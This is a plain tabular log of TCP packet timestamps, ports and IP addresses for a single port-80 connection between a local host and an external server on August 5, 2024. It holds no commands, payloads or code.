Aug 5, 2024 12:01:01.739907026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739916086 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.739980936 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.740639925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.740654945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.740669966 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.740684032 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.740686893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.740698099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.740732908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.741631031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741647005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741661072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741673946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741687059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741702080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.741717100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.741717100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.741748095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.741748095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.742628098 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742643118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742655993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742670059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742682934 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742697001 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.742710114 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.743623018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.743638039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.743650913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.743664026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.743671894 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.743678093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.743690968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.743705988 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.744607925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744622946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744637012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744652033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744664907 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744680882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.744682074 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.744729042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.744729042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.744729042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.084551096 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.084599972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.084615946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.084651947 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.084774971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.084789991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.084820986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.085093975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085187912 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.085304976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085319996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085335016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085349083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085426092 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.085426092 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.085927963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.085942984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086002111 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.086245060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086258888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086302042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.086611986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086627007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086641073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086654902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086669922 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086683989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.086709976 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.086709976 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.086774111 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.087462902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087476969 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087491035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087503910 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087518930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087524891 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.087532997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.087578058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.087578058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.088326931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.088342905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.088413954 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.395586014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395627975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395639896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395678997 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.395965099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395976067 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395986080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.395997047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396023035 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.396023035 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.396620989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396677971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.396718025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396785975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396797895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396810055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396821976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396825075 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.396835089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.396873951 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.396873951 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.397661924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.397674084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.397685051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.397696018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.397707939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.397749901 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.397749901 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.398545027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398557901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398567915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398578882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398588896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398598909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.398617983 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.398618937 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.398808002 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.399442911 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399455070 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399465084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399476051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399486065 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399497032 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.399518013 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.399518013 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.399545908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.400345087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.400357008 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.400367975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.400378942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.400389910 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.400409937 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.400450945 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.400450945 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.401247025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401259899 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401269913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401281118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401290894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401303053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.401304960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.401352882 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.401352882 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.402136087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402148008 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402158976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402170897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402189016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402239084 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.402239084 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.402869940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402882099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402892113 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402901888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402911901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402921915 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.402923107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402932882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402944088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.402966022 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.403002977 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.517002106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.662456989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662482977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662494898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662527084 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.662733078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662744045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662754059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662764072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.662803888 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.662803888 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.663328886 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.663340092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.663348913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.663360119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.663369894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.663372993 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.663418055 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.663418055 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.664026022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664036036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664043903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664055109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664067030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664096117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.664139032 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.664695024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664706945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664716959 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.664731979 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.664805889 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.665149927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665160894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665169954 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665180922 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665190935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665199995 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.665219069 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.665235996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.666100979 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666111946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666124105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666132927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666141987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666152000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666157961 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.666162014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.666203976 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.667047024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667058945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667068958 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667078972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667088032 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667098999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667109013 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.667114019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.667114019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.667165995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.667165995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.667993069 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668005943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668015957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668026924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668036938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668047905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668064117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.668064117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.668157101 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.668952942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668963909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668975115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668984890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.668994904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669006109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669015884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669018030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.669027090 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669040918 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.669075012 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.669778109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669789076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669799089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669809103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.669858932 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.680356026 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.979329109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979418993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979430914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979465961 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.979691982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979703903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979716063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979723930 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.979727983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.979749918 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.980204105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980215073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980226994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980237961 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980253935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980262041 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.980262041 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.980266094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980298042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.980952024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980966091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980972052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980977058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980981112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.980986118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981041908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.981041908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.981693029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981704950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981715918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981726885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981738091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981754065 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981758118 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.981758118 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.981765985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.981795073 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.981803894 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.982633114 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982645035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982655048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982666969 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982676983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982687950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982700109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.982717991 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.982717991 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.982744932 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.983398914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983411074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983422041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983432055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983443022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983453035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983462095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.983462095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.983464956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.983505964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.983505964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.984338045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984350920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984360933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984373093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984384060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984394073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984405994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984405994 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.984405994 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.984421968 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.984453917 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.984453917 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.985630035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985641003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985651016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985661983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985672951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985682964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985696077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985707045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.985713005 CEST	49864	80	192.168.2.7	27.221.16.179
